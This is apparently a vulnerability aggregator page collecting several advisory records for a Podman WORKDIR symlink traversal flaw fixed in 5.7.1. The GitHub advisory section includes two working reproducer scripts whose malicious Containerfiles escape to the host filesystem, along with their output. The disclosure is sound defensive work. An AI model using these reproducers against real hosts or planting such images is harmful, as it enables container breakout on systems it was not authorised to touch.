Podman: WORKDIR symlink traversal vulnerability

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.

Source published

26 Jun 2026 16:30:41 UTC

Source modified

26 Jun 2026 18:31:36 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.

Source published

Jun 26, 2026, 4:30:41 PM (timezone not stated)

Source modified

Jun 26, 2026, 6:31:36 PM (timezone not stated)

Observed here

7 Nov 2026 12:33:41 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Podman is a tool for managing OCI containers and pods. From 3.0.0 until 5.7.1, running a malicious container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. This vulnerability is fixed in 5.7.1.

Source published

26 Jun 2026 17:16:34 UTC

Source modified

25 Oct 2026 17:10:00 UTC

Observed here

27 Oct 2026 15:15:14 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

### Summary Running a malicous container image where the WORKDIR path contains a symlink can create a directory or modify ownership on the host filesystem. Modified ownership is less likely to happen as that requires help from an untrusted/malicious process that mutates the host filesystem tree during dereferencing of the WORKDIR path, to trigger a race condition. ### Patch https://github.com/podman-container-tools/podman/commit/d18e44e9abb3bf5b7294aa70806e1368fdddfdd0 ### Details This issue was fixed in podman 5.7.1 (git commit 7ce2e00ab140c11a68301f0b161f51984131a858) ### PoC The reproducer script _test1.bash_ demonstrates the vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/var/BREAKOUT` as current working directory. The reproducer script _test2.bash_ demonstrates the same vulnerability. The directory `/var/BREAKOUT` is created on the host. The container process uses the container directory `/usr/local` as current working directory. The reproducer script _test2.bash_ shows that the working directory can be different from the breakout directory. Reproducer **test1.bash** ``` #!/bin/bash set -o errexit set -o nounset if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine RUN cd / && ln -s ../../../../../../../var symlink USER 1234:1234 WORKDIR /symlink/BREAKOUT CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ``` Reproducer **test2.bash** ``` #!/bin/bash set -o errexit set -o nounset if [ -e /var/BREAKOUT ]; then echo error: path /var/BREAKOUT should not exist beforehand exit 1 fi dir=$(mktemp -d) cat > $dir/Containerfile << 'EOF' FROM docker.io/library/alpine ARG breakout_dirname=/var ARG breakout_basename=BREAKOUT ARG produce_pwd=/usr/local RUN mkdir -p /0/1/2/3 && \ cd /0 && \ ln -s 1/2/3 symlink1 && \ mkdir -p /0/1/symlink2/${breakout_dirname} && \ cd /0/1/symlink2/${breakout_dirname} && \ ln -s ${produce_pwd} ${breakout_basename} RUN cd / && ln -s ../../../../../../.. symlink2 USER 1234:1234 WORKDIR /0/symlink1/../../symlink2/${breakout_dirname}/${breakout_basename} CMD ["/bin/sh","-c","echo current working directory: $(pwd)"] EOF podman build -q --no-cache -t img $dir podman run --rm localhost/img ls -ld /var/BREAKOUT ``` Vulnerable: podman 5.7.0 using Fedora CoreOS 43.20251120.3.0 ``` root@localhost:~# bash test1.bash 38c27b69c61941741f49c3f87b589b422391d5908659665cabf248934be0ed80 current working directory: /var/BREAKOUT drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT root@localhost:~# rmdir /var/BREAKOUT/ root@localhost:~# bash test2.bash c3390edbe393a3f3b182e60c5900cf93444b5120fbe34dc305478b3b77a106c9 current working directory: /usr/local drwxr-xr-x. 2 1234 1234 6 May 29 19:28 /var/BREAKOUT ``` Not vulnerable: podman 5.7.1 using Fedora CoreOS 43.20260119.1.1 ``` root@localhost:~# bash test1.bash 0229bf752a821d5b9bb8afcf4b94e8de2a4838798ae8065414b7f939b81d0788 current working directory: /var/BREAKOUT ls: cannot access '/var/BREAKOUT': No such file or directory root@localhost:~# bash test2.bash 568584150a93a003feb8ae1985173bf50ced9cba4d52f9734cb70dc75eeb7c60 current working directory: /usr/local ls: cannot access '/var/BREAKOUT': No such file or directory ``` ### Credits We like to thank Erik Sjölund (@eriksjolund) for reporting the security impact to us.

Source published

18 Jun 2026 14:28:26 UTC

Source modified

3 Nov 2026 20:00:05 UTC

Observed here

3 Nov 2026 20:58:59 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Publisher rating · MODERATE

Podman: WORKDIR symlink traversal vulnerability in github.com/containers/podman

Source published

25 Jun 2026 22:34:34 UTC

Source modified

25 Jun 2026 23:01:23 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.